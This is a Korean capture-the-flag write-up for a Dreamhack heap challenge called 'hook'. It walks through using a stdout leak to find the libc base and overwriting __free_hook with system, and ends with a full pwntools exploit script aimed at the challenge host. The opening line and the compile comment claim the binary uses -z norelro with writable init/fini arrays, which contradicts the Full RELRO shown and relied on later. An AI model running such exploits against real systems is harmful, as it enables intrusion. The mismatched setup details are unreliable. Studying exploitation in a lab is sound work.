hook
The binary is linked with -z norelro, leaving the init/fini arrays writable and hijackable.
보호기법과 소스코드를 확인해보긔
[*] '/Users/chaeeun/Desktop/6b8cd690-a995-4baa-a3a8-e89ec6005659/hook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr + 1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
Full RELRO 가 적용되어 있으니 GOT overwrite 는 불가합니다. GOT overwrite 는 함수 호출 주소를 바꿔서 실행 흐름을 탈취하는 공격 기법이고, Full RELRO 는 GOT 를 읽기 전용으로 만들어서 이를 막는 보호 기법입니다.
NX 랑 canary 도 적용되어 있습니다. 다행히 PIE 는 적용이 안 되어 있습니다. PIE 가 꺼져 있으면 바이너리의 코드 주소가 거의 고정입니다. 예를 들어 main, win, puts@plt 같은 주소가 매번 같습니다.
그럼 아마 핵심 취약점은 꽤 노골적인 임의 주소 쓰기(arbitrary write) 일 듯합니다. 특히 stdout 출력이 있으니까, 그 임의 쓰기를 libc 주소에 정확히 맞추기 위해 있는 걸로 보입니다. 일단 여기서 주는 stdout 주소로 libc base 를 구하는 게 맞는 듯.
*(long *)*ptr = *(ptr + 1);
그리고 여기서 원하는 주소에 원하는 값을 씁니다. 즉 입력 데이터는 보통 이런 구조가 됩니다.
ptr[0] = 덮어쓸 주소
ptr[1] = 쓸 값
그래서 예전 glibc 기준이면 대표적으로:
ptr[0] = __free_hook
ptr[1] = system
으로 넣어서 __free_hook = system 을 만들 수 있습니다.
그럼 주소들부터 구해봅시다. stdout leak → libc base 계산 → libc base + __free_hook offset = __free_hook 실제 주소 → libc base + system offset = system 실제 주소;;;;;;; 이런 식의 형식입니다.
식은 leaked_stdout = libc_base + libc.symbols["_IO_2_1_stdout_"] 이기 때문에 역산하면 아래처럼 각각의 주소를 구할 수 있다.
libc_base = leaked_stdout - libc.symbols["_IO_2_1_stdout_"]
free_hook = libc_base + libc.symbols["__free_hook"]
system = libc_base + libc.symbols["system"]
그럼 코드는
from pwn import *
context.arch = "amd64"
elf = ELF("./hook")
libc = ELF("./libc-2.23.so")
HOST = "host3.dreamhack.games"
PORT = 9431
p = remote(HOST, PORT)
# stdout leak 받기
p.recvuntil(b"stdout: ")
leaked_stdout = int(p.recvline().strip(), 16)
# libc base 계산
libc_base = leaked_stdout - libc.symbols["_IO_2_1_stdout_"]
libc.address = libc_base
free_hook = libc.symbols["__free_hook"]
system = libc.symbols["system"]
log.info(f"leaked stdout = {hex(leaked_stdout)}")
log.info(f"libc base = {hex(libc_base)}")
log.info(f"__free_hook = {hex(free_hook)}")
log.info(f"system = {hex(system)}")
# *(long *)*ptr = *(ptr+1) 즉 ptr[0] 주소에 ptr[1] 값을 씀
payload = p64(free_hook)
payload += p64(system)
p.sendlineafter(b"Size: ", str(len(payload)).encode())
p.sendafter(b"Data: ", payload)
p.interactive()
ptr 에 우리가 넣은 데이터가 이렇게 들어간다고 보면 됩니다.
ptr[0] = p64(__free_hook)
ptr[1] = p64(system)
그러면 코드가 실행하는 건:
*(long *)__free_hook = system;